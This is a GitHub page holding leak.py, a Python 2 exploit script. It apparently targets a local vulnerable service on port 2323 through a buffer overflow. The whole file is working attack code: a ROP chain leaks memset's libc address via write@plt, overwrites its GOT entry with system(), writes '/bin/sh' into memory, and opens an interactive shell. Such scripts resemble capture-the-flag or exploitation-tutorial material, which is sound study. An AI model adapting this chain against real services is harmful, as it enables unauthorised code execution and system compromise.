-
Notifications
You must be signed in to change notification settings - Fork 1
/
leak.py
79 lines (65 loc) · 3.14 KB
/
leak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
import telnetlib
from socket import *
from struct import *
write_plt = 0x400500 # address of write@plt
setbuf_plt = 0x400510 # (For completeness)
printf_plt = 0x400520 # (For completeness)
memset_plt = 0x400530 # address of memset@plt
read_plt = 0x400540 # address of read@plt
main_plt = 0x400550 # (For completeness)
memset_got = 0x600bb0 # memset()'s GOT entry
memset_off = 0x085620 # memset()'s offset in libc.so.6
system_off = 0x041490 # system()'s offset in libc.so.6
pop3ret = 0x40066a # gadget to pop rdi; pop rsi; pop rdx; ret
writeable = 0x600000 # address of some writable space
# leak memset()'s libc address using write@plt
buf = ""
buf += "A"*168 # padding to RIP's offset
buf += pack("<Q", pop3ret) # pop args into registers
buf += pack("<Q", 0x1) # stdout
buf += pack("<Q", memset_got) # address to read from
buf += pack("<Q", 0x8) # number of bytes to write to stdout
buf += pack("<Q", write_plt) # return to write@plt
# payload for stage 1: overwrite memset()'s GOT entry using read@plt
buf += pack("<Q", pop3ret) # pop args into registers
buf += pack("<Q", 0x0) # stdin
buf += pack("<Q", memset_got) # address to write to
buf += pack("<Q", 0x8) # number of bytes to read from stdin
buf += pack("<Q", read_plt) # return to read@plt
# payload for stage 2: read "/bin/sh" into 0x601000 using read@plt
buf += pack("<Q", pop3ret) # pop args into registers
buf += pack("<Q", 0x0) # junk
buf += pack("<Q", writeable) # location to write "/bin/sh" to
buf += pack("<Q", 0x8) # number of bytes to read from stdin
buf += pack("<Q", read_plt) # return to read@plt
# payload for stage 3: set RDI to location of "/bin/sh", and call system()
buf += pack("<Q", pop3ret) # pop rdi; ret
buf += pack("<Q", writeable) # address of "/bin/sh"
buf += pack("<Q", 0x1) # junk
buf += pack("<Q", 0x1) # junk
buf += pack("<Q", memset_plt) # return to memset@plt which is actually system() now
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 2323))
# stage 1: overwrite RIP so we return to write@plt to leak memset()'s libc address
print s.recv(1024) # "Enter input" prompt
s.send(buf + "\n") # send buf to overwrite RIP
print s.recv(1024) # receive server reply
d = s.recv(1024)[-8:] # we returned to write@plt, so receive the leaked memset() libc address
# which is the last 8 bytes in the reply
memset_addr = unpack("<Q", d)
print "memset() is at", hex(memset_addr[0])
libc_base = memset_addr[0] - memset_off
print "libc base is", hex(libc_base)
system_addr = libc_base + system_off
print "system() is at", hex(system_addr)
# stage 2: send address of system() to overwrite memset()'s GOT entry
print "sending system()'s address", hex(system_addr)
s.send(pack("<Q", system_addr))
# stage 3: send "/bin/sh" to writable location
print "sending '/bin/sh'"
s.send("/bin/sh")
# get a shell
t = telnetlib.Telnet()
t.sock = s
t.interact()